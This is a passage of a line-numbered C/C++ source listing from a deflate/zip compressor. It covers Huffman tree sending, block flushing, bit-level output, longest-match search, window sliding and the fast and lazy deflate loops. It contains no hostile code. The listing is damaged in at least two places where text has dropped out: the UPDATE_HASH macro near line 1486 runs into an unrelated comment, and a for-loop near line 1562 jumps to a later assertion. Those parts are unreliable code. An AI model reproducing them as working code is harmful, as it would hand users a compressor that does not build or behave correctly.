state.ts.d_desc.max_code); 1102 | 1103 | /* Build the bit length tree: */ 1104 | build_tree(state,(tree_desc *)(&state.ts.bl_desc)); 1105 | /* opt_len now includes the length of the tree representations, except 1106 | * the lengths of the bit lengths codes and the 5+5+4 bits for the counts. 1107 | */ 1108 | 1109 | /* Determine the number of bit length codes to send. The pkzip format 1110 | * requires that at least 4 bit length codes be sent. (appnote.txt says 1111 | * 3 but the actual value used is 4.) 1112 | */ 1113 | for (max_blindex = BL_CODES-1; max_blindex >= 3; max_blindex--) { 1114 | if (state.ts.bl_tree[bl_order[max_blindex]].dl.len != 0) break; 1115 | } 1116 | /* Update opt_len to include the bit length tree and counts */ 1117 | state.ts.opt_len += 3*(max_blindex+1) + 5+5+4; 1118 | Trace("\ndyn trees: dyn %ld, stat %ld", state.ts.opt_len, state.ts.static_len); 1119 | 1120 | return max_blindex; 1121 | } 1122 | 1123 | /* =========================================================================== 1124 | * Send the header for a block using dynamic Huffman trees: the counts, the 1125 | * lengths of the bit length codes, the literal tree and the distance tree. 1126 | * IN assertion: lcodes >= 257, dcodes >= 1, blcodes >= 4. 1127 | */ 1128 | void send_all_trees(TState &state,int lcodes, int dcodes, int blcodes) 1129 | { 1130 | int rank; /* index in bl_order */ 1131 | 1132 | Assert(state,lcodes >= 257 && dcodes >= 1 && blcodes >= 4, "not enough codes"); 1133 | Assert(state,lcodes <= L_CODES && dcodes <= D_CODES && blcodes <= BL_CODES, 1134 | "too many codes"); 1135 | Trace("\nbl counts: "); 1136 | send_bits(state,lcodes-257, 5); 1137 | /* not +255 as stated in appnote.txt 1.93a or -256 in 2.04c */ 1138 | send_bits(state,dcodes-1, 5); 1139 | send_bits(state,blcodes-4, 4); /* not -3 as stated in appnote.txt */ 1140 | for (rank = 0; rank < blcodes; rank++) { 1141 | Trace("\nbl code %2d ", bl_order[rank]); 1142 | send_bits(state,state.ts.bl_tree[bl_order[rank]].dl.len, 3); 1143 | } 1144 | Trace("\nbl tree: sent %ld", state.bs.bits_sent); 1145 | 1146 | send_tree(state,(ct_data *)state.ts.dyn_ltree, lcodes-1); /* send the literal tree */ 1147 | Trace("\nlit tree: sent %ld", state.bs.bits_sent); 1148 | 1149 | send_tree(state,(ct_data *)state.ts.dyn_dtree, dcodes-1); /* send the distance tree */ 1150 | Trace("\ndist tree: sent %ld", state.bs.bits_sent); 1151 | } 1152 | 1153 | /* =========================================================================== 1154 | * Determine the best encoding for the current block: dynamic trees, static 1155 | * trees or store, and output the encoded block to the zip file. This function 1156 | * returns the total compressed length (in bytes) for the file so far. 1157 | */ 1158 | ulg flush_block(TState &state,char *buf, ulg stored_len, int eof) 1159 | { 1160 | ulg opt_lenb, static_lenb; /* opt_len and static_len in bytes */ 1161 | int max_blindex; /* index of last bit length code of non zero freq */ 1162 | 1163 | state.ts.flag_buf[state.ts.last_flags] = state.ts.flags; /* Save the flags for the last 8 items */ 1164 | 1165 | /* Check if the file is ascii or binary */ 1166 | if (*state.ts.file_type == (ush)UNKNOWN) set_file_type(state); 1167 | 1168 | /* Construct the literal and distance trees */ 1169 | build_tree(state,(tree_desc *)(&state.ts.l_desc)); 1170 | Trace("\nlit data: dyn %ld, stat %ld", state.ts.opt_len, state.ts.static_len); 1171 | 1172 | build_tree(state,(tree_desc *)(&state.ts.d_desc)); 1173 | Trace("\ndist data: dyn %ld, stat %ld", state.ts.opt_len, state.ts.static_len); 1174 | /* At this point, opt_len and static_len are the total bit lengths of 1175 | * the compressed block data, excluding the tree representations. 1176 | */ 1177 | 1178 | /* Build the bit length tree for the above two trees, and get the index 1179 | * in bl_order of the last bit length code to send. 1180 | */ 1181 | max_blindex = build_bl_tree(state); 1182 | 1183 | /* Determine the best encoding. Compute first the block length in bytes */ 1184 | opt_lenb = (state.ts.opt_len+3+7)>>3; 1185 | static_lenb = (state.ts.static_len+3+7)>>3; 1186 | state.ts.input_len += stored_len; /* for debugging only */ 1187 | 1188 | Trace("\nopt %lu(%lu) stat %lu(%lu) stored %lu lit %u dist %u ", 1189 | opt_lenb, state.ts.opt_len, static_lenb, state.ts.static_len, stored_len, 1190 | state.ts.last_lit, state.ts.last_dist); 1191 | 1192 | if (static_lenb <= opt_lenb) opt_lenb = static_lenb; 1193 | 1194 | // Originally, zip allowed the file to be transformed from a compressed 1195 | // into a stored file in the case where compression failed, there 1196 | // was only one block, and it was allowed to change. I've removed this 1197 | // possibility since the code's cleaner if no changes are allowed. 1198 | //if (stored_len <= opt_lenb && eof && state.ts.cmpr_bytelen == 0L 1199 | // && state.ts.cmpr_len_bits == 0L && state.seekable) 1200 | //{ // && state.ts.file_method != NULL 1201 | // // Since LIT_BUFSIZE <= 2*WSIZE, the input data must be there: 1202 | // Assert(state,buf!=NULL,"block vanished"); 1203 | // copy_block(state,buf, (unsigned)stored_len, 0); // without header 1204 | // state.ts.cmpr_bytelen = stored_len; 1205 | // Assert(state,false,"unimplemented *state.ts.file_method = STORE;"); 1206 | // //*state.ts.file_method = STORE; 1207 | //} 1208 | //else 1209 | if (stored_len+4 <= opt_lenb && buf != (char*)NULL) { 1210 | /* 4: two words for the lengths */ 1211 | /* The test buf != NULL is only necessary if LIT_BUFSIZE > WSIZE. 1212 | * Otherwise we can't have processed more than WSIZE input bytes since 1213 | * the last block flush, because compression would have been 1214 | * successful. If LIT_BUFSIZE <= WSIZE, it is never too late to 1215 | * transform a block into a stored block. 1216 | */ 1217 | send_bits(state,(STORED_BLOCK<<1)+eof, 3); /* send block type */ 1218 | state.ts.cmpr_bytelen += ((state.ts.cmpr_len_bits + 3 + 7) >> 3) + stored_len + 4; 1219 | state.ts.cmpr_len_bits = 0L; 1220 | 1221 | copy_block(state,buf, (unsigned)stored_len, 1); /* with header */ 1222 | } 1223 | else if (static_lenb == opt_lenb) { 1224 | send_bits(state,(STATIC_TREES<<1)+eof, 3); 1225 | compress_block(state,(ct_data *)state.ts.static_ltree, (ct_data *)state.ts.static_dtree); 1226 | state.ts.cmpr_len_bits += 3 + state.ts.static_len; 1227 | state.ts.cmpr_bytelen += state.ts.cmpr_len_bits >> 3; 1228 | state.ts.cmpr_len_bits &= 7L; 1229 | } 1230 | else { 1231 | send_bits(state,(DYN_TREES<<1)+eof, 3); 1232 | send_all_trees(state,state.ts.l_desc.max_code+1, state.ts.d_desc.max_code+1, max_blindex+1); 1233 | compress_block(state,(ct_data *)state.ts.dyn_ltree, (ct_data *)state.ts.dyn_dtree); 1234 | state.ts.cmpr_len_bits += 3 + state.ts.opt_len; 1235 | state.ts.cmpr_bytelen += state.ts.cmpr_len_bits >> 3; 1236 | state.ts.cmpr_len_bits &= 7L; 1237 | } 1238 | Assert(state,((state.ts.cmpr_bytelen << 3) + state.ts.cmpr_len_bits) == state.bs.bits_sent, "bad compressed size"); 1239 | init_block(state); 1240 | 1241 | if (eof) { 1242 | // Assert(state,input_len == isize, "bad input size"); 1243 | bi_windup(state); 1244 | state.ts.cmpr_len_bits += 7; /* align on byte boundary */ 1245 | } 1246 | Trace("\n"); 1247 | 1248 | return state.ts.cmpr_bytelen + (state.ts.cmpr_len_bits >> 3); 1249 | } 1250 | 1251 | /* =========================================================================== 1252 | * Save the match info and tally the frequency counts. Return true if 1253 | * the current block must be flushed. 1254 | */ 1255 | int ct_tally (TState &state,int dist, int lc) 1256 | { 1257 | state.ts.l_buf[state.ts.last_lit++] = (uch)lc; 1258 | if (dist == 0) { 1259 | /* lc is the unmatched char */ 1260 | state.ts.dyn_ltree[lc].fc.freq++; 1261 | } else { 1262 | /* Here, lc is the match length - MIN_MATCH */ 1263 | dist--; /* dist = match distance - 1 */ 1264 | Assert(state,(ush)dist < (ush)MAX_DIST && 1265 | (ush)lc <= (ush)(MAX_MATCH-MIN_MATCH) && 1266 | (ush)d_code(dist) < (ush)D_CODES, "ct_tally: bad match"); 1267 | 1268 | state.ts.dyn_ltree[state.ts.length_code[lc]+LITERALS+1].fc.freq++; 1269 | state.ts.dyn_dtree[d_code(dist)].fc.freq++; 1270 | 1271 | state.ts.d_buf[state.ts.last_dist++] = (ush)dist; 1272 | state.ts.flags |= state.ts.flag_bit; 1273 | } 1274 | state.ts.flag_bit <<= 1; 1275 | 1276 | /* Output the flags if they fill a byte: */ 1277 | if ((state.ts.last_lit & 7) == 0) { 1278 | state.ts.flag_buf[state.ts.last_flags++] = state.ts.flags; 1279 | state.ts.flags = 0, state.ts.flag_bit = 1; 1280 | } 1281 | /* Try to guess if it is profitable to stop the current block here */ 1282 | if (state.level > 2 && (state.ts.last_lit & 0xfff) == 0) { 1283 | /* Compute an upper bound for the compressed length */ 1284 | ulg out_length = (ulg)state.ts.last_lit*8L; 1285 | ulg in_length = (ulg)state.ds.strstart-state.ds.block_start; 1286 | int dcode; 1287 | for (dcode = 0; dcode < D_CODES; dcode++) { 1288 | out_length += (ulg)state.ts.dyn_dtree[dcode].fc.freq*(5L+extra_dbits[dcode]); 1289 | } 1290 | out_length >>= 3; 1291 | Trace("\nlast_lit %u, last_dist %u, in %ld, out ~%ld(%ld%%) ", 1292 | state.ts.last_lit, state.ts.last_dist, in_length, out_length, 1293 | 100L - out_length*100L/in_length); 1294 | if (state.ts.last_dist < state.ts.last_lit/2 && out_length < in_length/2) return 1; 1295 | } 1296 | return (state.ts.last_lit == LIT_BUFSIZE-1 || state.ts.last_dist == DIST_BUFSIZE); 1297 | /* We avoid equality with LIT_BUFSIZE because of wraparound at 64K 1298 | * on 16 bit machines and because stored blocks are restricted to 1299 | * 64K-1 bytes. 1300 | */ 1301 | } 1302 | 1303 | /* =========================================================================== 1304 | * Send the block data compressed using the given Huffman trees 1305 | */ 1306 | void compress_block(TState &state,ct_data *ltree, ct_data *dtree) 1307 | { 1308 | unsigned dist; /* distance of matched string */ 1309 | int lc; /* match length or unmatched char (if dist == 0) */ 1310 | unsigned lx = 0; /* running index in l_buf */ 1311 | unsigned dx = 0; /* running index in d_buf */ 1312 | unsigned fx = 0; /* running index in flag_buf */ 1313 | uch flag = 0; /* current flags */ 1314 | unsigned code; /* the code to send */ 1315 | int extra; /* number of extra bits to send */ 1316 | 1317 | if (state.ts.last_lit != 0) do { 1318 | if ((lx & 7) == 0) flag = state.ts.flag_buf[fx++]; 1319 | lc = state.ts.l_buf[lx++]; 1320 | if ((flag & 1) == 0) { 1321 | send_code(state,lc, ltree); /* send a literal byte */ 1322 | } else { 1323 | /* Here, lc is the match length - MIN_MATCH */ 1324 | code = state.ts.length_code[lc]; 1325 | send_code(state,code+LITERALS+1, ltree); /* send the length code */ 1326 | extra = extra_lbits[code]; 1327 | if (extra != 0) { 1328 | lc -= state.ts.base_length[code]; 1329 | send_bits(state,lc, extra); /* send the extra length bits */ 1330 | } 1331 | dist = state.ts.d_buf[dx++]; 1332 | /* Here, dist is the match distance - 1 */ 1333 | code = d_code(dist); 1334 | Assert(state,code < D_CODES, "bad d_code"); 1335 | 1336 | send_code(state,code, dtree); /* send the distance code */ 1337 | extra = extra_dbits[code]; 1338 | if (extra != 0) { 1339 | dist -= state.ts.base_dist[code]; 1340 | send_bits(state,dist, extra); /* send the extra distance bits */ 1341 | } 1342 | } /* literal or match pair ? */ 1343 | flag >>= 1; 1344 | } while (lx < state.ts.last_lit); 1345 | 1346 | send_code(state,END_BLOCK, ltree); 1347 | } 1348 | 1349 | /* =========================================================================== 1350 | * Set the file type to ASCII or BINARY, using a crude approximation: 1351 | * binary if more than 20% of the bytes are <= 6 or >= 128, ascii otherwise. 1352 | * IN assertion: the fields freq of dyn_ltree are set and the total of all 1353 | * frequencies does not exceed 64K (to fit in an int on 16 bit machines). 1354 | */ 1355 | void set_file_type(TState &state) 1356 | { 1357 | int n = 0; 1358 | unsigned ascii_freq = 0; 1359 | unsigned bin_freq = 0; 1360 | while (n < 7) bin_freq += state.ts.dyn_ltree[n++].fc.freq; 1361 | while (n < 128) ascii_freq += state.ts.dyn_ltree[n++].fc.freq; 1362 | while (n < LITERALS) bin_freq += state.ts.dyn_ltree[n++].fc.freq; 1363 | *state.ts.file_type = (ush)(bin_freq > (ascii_freq >> 2) ? BINARY : ASCII); 1364 | } 1365 | 1366 | 1367 | /* =========================================================================== 1368 | * Initialize the bit string routines. 1369 | */ 1370 | void bi_init (TState &state,char *tgt_buf, unsigned tgt_size, int flsh_allowed) 1371 | { 1372 | state.bs.out_buf = tgt_buf; 1373 | state.bs.out_size = tgt_size; 1374 | state.bs.out_offset = 0; 1375 | state.bs.flush_flg = flsh_allowed; 1376 | 1377 | state.bs.bi_buf = 0; 1378 | state.bs.bi_valid = 0; 1379 | state.bs.bits_sent = 0L; 1380 | } 1381 | 1382 | /* =========================================================================== 1383 | * Send a value on a given number of bits. 1384 | * IN assertion: length <= 16 and value fits in length bits. 1385 | */ 1386 | void send_bits(TState &state,int value, int length) 1387 | { 1388 | Assert(state,length > 0 && length <= 15, "invalid length"); 1389 | state.bs.bits_sent += (ulg)length; 1390 | /* If not enough room in bi_buf, use (bi_valid) bits from bi_buf and 1391 | * (Buf_size - bi_valid) bits from value to flush the filled bi_buf, 1392 | * then fill in the rest of (value), leaving (length - (Buf_size-bi_valid)) 1393 | * unused bits in bi_buf. 1394 | */ 1395 | state.bs.bi_buf |= (value << state.bs.bi_valid); 1396 | state.bs.bi_valid += length; 1397 | if (state.bs.bi_valid > (int)Buf_size) { 1398 | PUTSHORT(state,state.bs.bi_buf); 1399 | state.bs.bi_valid -= Buf_size; 1400 | state.bs.bi_buf = (unsigned)value >> (length - state.bs.bi_valid); 1401 | } 1402 | } 1403 | 1404 | /* =========================================================================== 1405 | * Reverse the first len bits of a code, using straightforward code (a faster 1406 | * method would use a table) 1407 | * IN assertion: 1 <= len <= 15 1408 | */ 1409 | unsigned bi_reverse(unsigned code, int len) 1410 | { 1411 | register unsigned res = 0; 1412 | do { 1413 | res |= code & 1; 1414 | code >>= 1, res <<= 1; 1415 | } while (--len > 0); 1416 | return res >> 1; 1417 | } 1418 | 1419 | /* =========================================================================== 1420 | * Write out any remaining bits in an incomplete byte. 1421 | */ 1422 | void bi_windup(TState &state) 1423 | { 1424 | if (state.bs.bi_valid > 8) { 1425 | PUTSHORT(state,state.bs.bi_buf); 1426 | } else if (state.bs.bi_valid > 0) { 1427 | PUTBYTE(state,state.bs.bi_buf); 1428 | } 1429 | if (state.bs.flush_flg) { 1430 | state.flush_outbuf(state.param,state.bs.out_buf, &state.bs.out_offset); 1431 | } 1432 | state.bs.bi_buf = 0; 1433 | state.bs.bi_valid = 0; 1434 | state.bs.bits_sent = (state.bs.bits_sent+7) & ~7; 1435 | } 1436 | 1437 | /* =========================================================================== 1438 | * Copy a stored block to the zip file, storing first the length and its 1439 | * one's complement if requested. 1440 | */ 1441 | void copy_block(TState &state, char *block, unsigned len, int header) 1442 | { 1443 | bi_windup(state); /* align on byte boundary */ 1444 | 1445 | if (header) { 1446 | PUTSHORT(state,(ush)len); 1447 | PUTSHORT(state,(ush)~len); 1448 | state.bs.bits_sent += 2*16; 1449 | } 1450 | if (state.bs.flush_flg) { 1451 | state.flush_outbuf(state.param,state.bs.out_buf, &state.bs.out_offset); 1452 | state.bs.out_offset = len; 1453 | state.flush_outbuf(state.param,block, &state.bs.out_offset); 1454 | } else if (state.bs.out_offset + len > state.bs.out_size) { 1455 | Assert(state,false,"output buffer too small for in-memory compression"); 1456 | } else { 1457 | memcpy(state.bs.out_buf + state.bs.out_offset, block, len); 1458 | state.bs.out_offset += len; 1459 | } 1460 | state.bs.bits_sent += (ulg)len<<3; 1461 | } 1462 | 1463 | 1464 | 1465 | 1466 | 1467 | 1468 | 1469 | 1470 | /* =========================================================================== 1471 | * Prototypes for functions. 1472 | */ 1473 | 1474 | void fill_window (TState &state); 1475 | ulg deflate_fast (TState &state); 1476 | 1477 | int longest_match (TState &state,IPos cur_match); 1478 | 1479 | 1480 | /* =========================================================================== 1481 | * Update a hash value with the given input byte 1482 | * IN assertion: all calls to to UPDATE_HASH are made with consecutive 1483 | * input characters, so that a running hash key can be computed from the 1484 | * previous key instead of complete recalculation each time. 1485 | */ 1486 | #define UPDATE_HASH(h,c) (h = (((h)< 0 if the input file is already read or 1505 | * mmap'ed in the window[] array, 0 otherwise. In the first case, 1506 | * window_size is sufficient to contain the whole input file plus 1507 | * MIN_LOOKAHEAD bytes (to avoid referencing memory beyond the end 1508 | * of window[] when looking for matches towards the end). 1509 | */ 1510 | void lm_init (TState &state, int pack_level, ush *flags) 1511 | { 1512 | register unsigned j; 1513 | 1514 | Assert(state,pack_level>=1 && pack_level<=8,"bad pack level"); 1515 | 1516 | /* Do not slide the window if the whole input is already in memory 1517 | * (window_size > 0) 1518 | */ 1519 | state.ds.sliding = 0; 1520 | if (state.ds.window_size == 0L) { 1521 | state.ds.sliding = 1; 1522 | state.ds.window_size = (ulg)2L*WSIZE; 1523 | } 1524 | 1525 | /* Initialize the hash table (avoiding 64K overflow for 16 bit systems). 1526 | * prev[] will be initialized on the fly. 1527 | */ 1528 | state.ds.head[HASH_SIZE-1] = NIL; 1529 | memset((char*)state.ds.head, NIL, (unsigned)(HASH_SIZE-1)*sizeof(*state.ds.head)); 1530 | 1531 | /* Set the default configuration parameters: 1532 | */ 1533 | state.ds.max_lazy_match = configuration_table[pack_level].max_lazy; 1534 | state.ds.good_match = configuration_table[pack_level].good_length; 1535 | state.ds.nice_match = configuration_table[pack_level].nice_length; 1536 | state.ds.max_chain_length = configuration_table[pack_level].max_chain; 1537 | if (pack_level <= 2) { 1538 | *flags |= FAST; 1539 | } else if (pack_level >= 8) { 1540 | *flags |= SLOW; 1541 | } 1542 | /* ??? reduce max_chain_length for binary files */ 1543 | 1544 | state.ds.strstart = 0; 1545 | state.ds.block_start = 0L; 1546 | 1547 | j = WSIZE; 1548 | j <<= 1; // Can read 64K in one step 1549 | state.ds.lookahead = state.readfunc(state, (char*)state.ds.window, j); 1550 | 1551 | if (state.ds.lookahead == 0 || state.ds.lookahead == (unsigned)EOF) { 1552 | state.ds.eofile = 1, state.ds.lookahead = 0; 1553 | return; 1554 | } 1555 | state.ds.eofile = 0; 1556 | /* Make sure that we always have enough lookahead. This is important 1557 | * if input comes from a device such as a tty. 1558 | */ 1559 | if (state.ds.lookahead < MIN_LOOKAHEAD) fill_window(state); 1560 | 1561 | state.ds.ins_h = 0; 1562 | for (j=0; j= 1 1576 | */ 1577 | // For 80x86 and 680x0 and ARM, an optimized version is in match.asm or 1578 | // match.S. The code is functionally equivalent, so you can use the C version 1579 | // if desired. Which I do so desire! 1580 | int longest_match(TState &state,IPos cur_match) 1581 | { 1582 | unsigned chain_length = state.ds.max_chain_length; /* max hash chain length */ 1583 | register uch far *scan = state.ds.window + state.ds.strstart; /* current string */ 1584 | register uch far *match; /* matched string */ 1585 | register int len; /* length of current match */ 1586 | int best_len = state.ds.prev_length; /* best match length so far */ 1587 | IPos limit = state.ds.strstart > (IPos)MAX_DIST ? state.ds.strstart - (IPos)MAX_DIST : NIL; 1588 | /* Stop when cur_match becomes <= limit. To simplify the code, 1589 | * we prevent matches with the string of window index 0. 1590 | */ 1591 | 1592 | // The code is optimized for HASH_BITS >= 8 and MAX_MATCH-2 multiple of 16. 1593 | // It is easy to get rid of this optimization if necessary. 1594 | Assert(state,HASH_BITS>=8 && MAX_MATCH==258,"Code too clever"); 1595 | 1596 | 1597 | 1598 | register uch far *strend = state.ds.window + state.ds.strstart + MAX_MATCH; 1599 | register uch scan_end1 = scan[best_len-1]; 1600 | register uch scan_end = scan[best_len]; 1601 | 1602 | /* Do not waste too much time if we already have a good match: */ 1603 | if (state.ds.prev_length >= state.ds.good_match) { 1604 | chain_length >>= 2; 1605 | } 1606 | 1607 | Assert(state,state.ds.strstart <= state.ds.window_size-MIN_LOOKAHEAD, "insufficient lookahead"); 1608 | 1609 | do { 1610 | Assert(state,cur_match < state.ds.strstart, "no future"); 1611 | match = state.ds.window + cur_match; 1612 | 1613 | /* Skip to next match if the match length cannot increase 1614 | * or if the match length is less than 2: 1615 | */ 1616 | if (match[best_len] != scan_end || 1617 | match[best_len-1] != scan_end1 || 1618 | *match != *scan || 1619 | *++match != scan[1]) continue; 1620 | 1621 | /* The check at best_len-1 can be removed because it will be made 1622 | * again later. (This heuristic is not always a win.) 1623 | * It is not necessary to compare scan[2] and match[2] since they 1624 | * are always equal when the other bytes match, given that 1625 | * the hash keys are equal and that HASH_BITS >= 8. 1626 | */ 1627 | scan += 2, match++; 1628 | 1629 | /* We check for insufficient lookahead only every 8th comparison; 1630 | * the 256th check will be made at strstart+258. 1631 | */ 1632 | do { 1633 | } while (*++scan == *++match && *++scan == *++match && 1634 | *++scan == *++match && *++scan == *++match && 1635 | *++scan == *++match && *++scan == *++match && 1636 | *++scan == *++match && *++scan == *++match && 1637 | scan < strend); 1638 | 1639 | Assert(state,scan <= state.ds.window+(unsigned)(state.ds.window_size-1), "wild scan"); 1640 | 1641 | len = MAX_MATCH - (int)(strend - scan); 1642 | scan = strend - MAX_MATCH; 1643 | 1644 | 1645 | if (len > best_len) { 1646 | state.ds.match_start = cur_match; 1647 | best_len = len; 1648 | if (len >= state.ds.nice_match) break; 1649 | scan_end1 = scan[best_len-1]; 1650 | scan_end = scan[best_len]; 1651 | } 1652 | } while ((cur_match = state.ds.prev[cur_match & WMASK]) > limit 1653 | && --chain_length != 0); 1654 | 1655 | return best_len; 1656 | } 1657 | 1658 | 1659 | 1660 | #define check_match(state,start, match, length) 1661 | // or alternatively... 1662 | //void check_match(TState &state,IPos start, IPos match, int length) 1663 | //{ // check that the match is indeed a match 1664 | // if (memcmp((char*)state.ds.window + match, 1665 | // (char*)state.ds.window + start, length) != EQUAL) { 1666 | // fprintf(stderr, 1667 | // " start %d, match %d, length %d\n", 1668 | // start, match, length); 1669 | // error("invalid match"); 1670 | // } 1671 | // if (state.verbose > 1) { 1672 | // fprintf(stderr,"\\[%d,%d]", start-match, length); 1673 | // do { fprintf(stdout,"%c",state.ds.window[start++]); } while (--length != 0); 1674 | // } 1675 | //} 1676 | 1677 | /* =========================================================================== 1678 | * Fill the window when the lookahead becomes insufficient. 1679 | * Updates strstart and lookahead, and sets eofile if end of input file. 1680 | * 1681 | * IN assertion: lookahead < MIN_LOOKAHEAD && strstart + lookahead > 0 1682 | * OUT assertions: strstart <= window_size-MIN_LOOKAHEAD 1683 | * At least one byte has been read, or eofile is set; file reads are 1684 | * performed for at least two bytes (required for the translate_eol option). 1685 | */ 1686 | void fill_window(TState &state) 1687 | { 1688 | register unsigned n, m; 1689 | unsigned more; /* Amount of free space at the end of the window. */ 1690 | 1691 | do { 1692 | more = (unsigned)(state.ds.window_size - (ulg)state.ds.lookahead - (ulg)state.ds.strstart); 1693 | 1694 | /* If the window is almost full and there is insufficient lookahead, 1695 | * move the upper half to the lower one to make room in the upper half. 1696 | */ 1697 | if (more == (unsigned)EOF) { 1698 | /* Very unlikely, but possible on 16 bit machine if strstart == 0 1699 | * and lookahead == 1 (input done one byte at time) 1700 | */ 1701 | more--; 1702 | 1703 | /* For MMAP or BIG_MEM, the whole input file is already in memory so 1704 | * we must not perform sliding. We must however call (*read_buf)() in 1705 | * order to compute the crc, update lookahead and possibly set eofile. 1706 | */ 1707 | } else if (state.ds.strstart >= WSIZE+MAX_DIST && state.ds.sliding) { 1708 | 1709 | /* By the IN assertion, the window is not empty so we can't confuse 1710 | * more == 0 with more == 64K on a 16 bit machine. 1711 | */ 1712 | memcpy((char*)state.ds.window, (char*)state.ds.window+WSIZE, (unsigned)WSIZE); 1713 | state.ds.match_start -= WSIZE; 1714 | state.ds.strstart -= WSIZE; /* we now have strstart >= MAX_DIST: */ 1715 | 1716 | state.ds.block_start -= (long) WSIZE; 1717 | 1718 | for (n = 0; n < HASH_SIZE; n++) { 1719 | m = state.ds.head[n]; 1720 | state.ds.head[n] = (Pos)(m >= WSIZE ? m-WSIZE : NIL); 1721 | } 1722 | for (n = 0; n < WSIZE; n++) { 1723 | m = state.ds.prev[n]; 1724 | state.ds.prev[n] = (Pos)(m >= WSIZE ? m-WSIZE : NIL); 1725 | /* If n is not on any hash chain, prev[n] is garbage but 1726 | * its value will never be used. 1727 | */ 1728 | } 1729 | more += WSIZE; 1730 | } 1731 | if (state.ds.eofile) return; 1732 | 1733 | /* If there was no sliding: 1734 | * strstart <= WSIZE+MAX_DIST-1 && lookahead <= MIN_LOOKAHEAD - 1 && 1735 | * more == window_size - lookahead - strstart 1736 | * => more >= window_size - (MIN_LOOKAHEAD-1 + WSIZE + MAX_DIST-1) 1737 | * => more >= window_size - 2*WSIZE + 2 1738 | * In the MMAP or BIG_MEM case (not yet supported in gzip), 1739 | * window_size == input_size + MIN_LOOKAHEAD && 1740 | * strstart + lookahead <= input_size => more >= MIN_LOOKAHEAD. 1741 | * Otherwise, window_size == 2*WSIZE so more >= 2. 1742 | * If there was sliding, more >= WSIZE. So in all cases, more >= 2. 1743 | */ 1744 | Assert(state,more >= 2, "more < 2"); 1745 | 1746 | n = state.readfunc(state, (char*)state.ds.window+state.ds.strstart+state.ds.lookahead, more); 1747 | 1748 | if (n == 0 || n == (unsigned)EOF) { 1749 | state.ds.eofile = 1; 1750 | } else { 1751 | state.ds.lookahead += n; 1752 | } 1753 | } while (state.ds.lookahead < MIN_LOOKAHEAD && !state.ds.eofile); 1754 | } 1755 | 1756 | /* =========================================================================== 1757 | * Flush the current block, with given end-of-file flag. 1758 | * IN assertion: strstart is set to the end of the current match. 1759 | */ 1760 | #define FLUSH_BLOCK(state,eof) \ 1761 | flush_block(state,state.ds.block_start >= 0L ? (char*)&state.ds.window[(unsigned)state.ds.block_start] : \ 1762 | (char*)NULL, (long)state.ds.strstart - state.ds.block_start, (eof)) 1763 | 1764 | /* =========================================================================== 1765 | * Processes a new input file and return its compressed length. This 1766 | * function does not perform lazy evaluation of matches and inserts 1767 | * new strings in the dictionary only for unmatched strings or for short 1768 | * matches. It is used only for the fast compression options. 1769 | */ 1770 | ulg deflate_fast(TState &state) 1771 | { 1772 | IPos hash_head = NIL; /* head of the hash chain */ 1773 | int flush; /* set if current block must be flushed */ 1774 | unsigned match_length = 0; /* length of best match */ 1775 | 1776 | state.ds.prev_length = MIN_MATCH-1; 1777 | while (state.ds.lookahead != 0) { 1778 | /* Insert the string window[strstart .. strstart+2] in the 1779 | * dictionary, and set hash_head to the head of the hash chain: 1780 | */ 1781 | if (state.ds.lookahead >= MIN_MATCH) 1782 | INSERT_STRING(state.ds.strstart, hash_head); 1783 | 1784 | /* Find the longest match, discarding those <= prev_length. 1785 | * At this point we have always match_length < MIN_MATCH 1786 | */ 1787 | if (hash_head != NIL && state.ds.strstart - hash_head <= MAX_DIST) { 1788 | /* To simplify the code, we prevent matches with the string 1789 | * of window index 0 (in particular we have to avoid a match 1790 | * of the string with itself at the start of the input file). 1791 | */ 1792 | /* Do not look for matches beyond the end of the input. 1793 | * This is necessary to make deflate deterministic. 1794 | */ 1795 | if ((unsigned)state.ds.nice_match > state.ds.lookahead) state.ds.nice_match = (int)state.ds.lookahead; 1796 | match_length = longest_match (state,hash_head); 1797 | /* longest_match() sets match_start */ 1798 | if (match_length > state.ds.lookahead) match_length = state.ds.lookahead; 1799 | } 1800 | if (match_length >= MIN_MATCH) { 1801 | check_match(state,state.ds.strstart, state.ds.match_start, match_length); 1802 | 1803 | flush = ct_tally(state,state.ds.strstart-state.ds.match_start, match_length - MIN_MATCH); 1804 | 1805 | state.ds.lookahead -= match_length; 1806 | 1807 | /* Insert new strings in the hash table only if the match length 1808 | * is not too large. This saves time but degrades compression. 1809 | */ 1810 | if (match_length <= state.ds.max_insert_length 1811 | && state.ds.lookahead >= MIN_MATCH) { 1812 | match_length--; /* string at strstart already in hash table */ 1813 | do { 1814 | state.ds.strstart++; 1815 | INSERT_STRING(state.ds.strstart, hash_head); 1816 | /* strstart never exceeds WSIZE-MAX_MATCH, so there are 1817 | * always MIN_MATCH bytes ahead. 1818 | */ 1819 | } while (--match_length != 0); 1820 | state.ds.strstart++; 1821 | } else { 1822 | state.ds.strstart += match_length; 1823 | match_length = 0; 1824 | state.ds.ins_h = state.ds.window[state.ds.strstart]; 1825 | UPDATE_HASH(state.ds.ins_h, state.ds.window[state.ds.strstart+1]); 1826 | Assert(state,MIN_MATCH==3,"Call UPDATE_HASH() MIN_MATCH-3 more times"); 1827 | } 1828 | } else { 1829 | /* No match, output a literal byte */ 1830 | flush = ct_tally (state,0, state.ds.window[state.ds.strstart]); 1831 | state.ds.lookahead--; 1832 | state.ds.strstart++; 1833 | } 1834 | if (flush) FLUSH_BLOCK(state,0), state.ds.block_start = state.ds.strstart; 1835 | 1836 | /* Make sure that we always have enough lookahead, except 1837 | * at the end of the input file. We need MAX_MATCH bytes 1838 | * for the next match, plus MIN_MATCH bytes to insert the 1839 | * string following the next match. 1840 | */ 1841 | if (state.ds.lookahead < MIN_LOOKAHEAD) fill_window(state); 1842 | } 1843 | return FLUSH_BLOCK(state,1); /* eof */ 1844 | } 1845 | 1846 | /* =========================================================================== 1847 | * Same as above, but achieves better compression. We use a lazy 1848 | * evaluation for matches: a match is finally adopted only if there is 1849 | * no better match at the next window position. 1850 | */ 1851 | ulg deflate(TState &state) 1852 | { 1853 | IPos hash_head = NIL; /* head of hash chain */ 1854 | IPos prev_match; /* previous match */ 1855 | int flush; /* set if current block must be flushed */ 1856 | int match_available = 0; /* set if previous match exists */ 1857 | register unsigned match_length = MIN_MATCH-1; /* length of best match */ 1858 | 1859 | if (state.level <= 3) return deflate_fast(state); /* optimized for speed */ 1860 | 1861 | /* Process the input block. */ 1862 | while (state.ds.lookahead != 0) { 1863 | /* Insert the string window[strstart .. strstart+2] in the 1864 | * dictionary, and set hash_head to the head of the hash chain: 1865 | */ 1866 | if (state.ds.lookahead >= MIN_MATCH) 1867 | 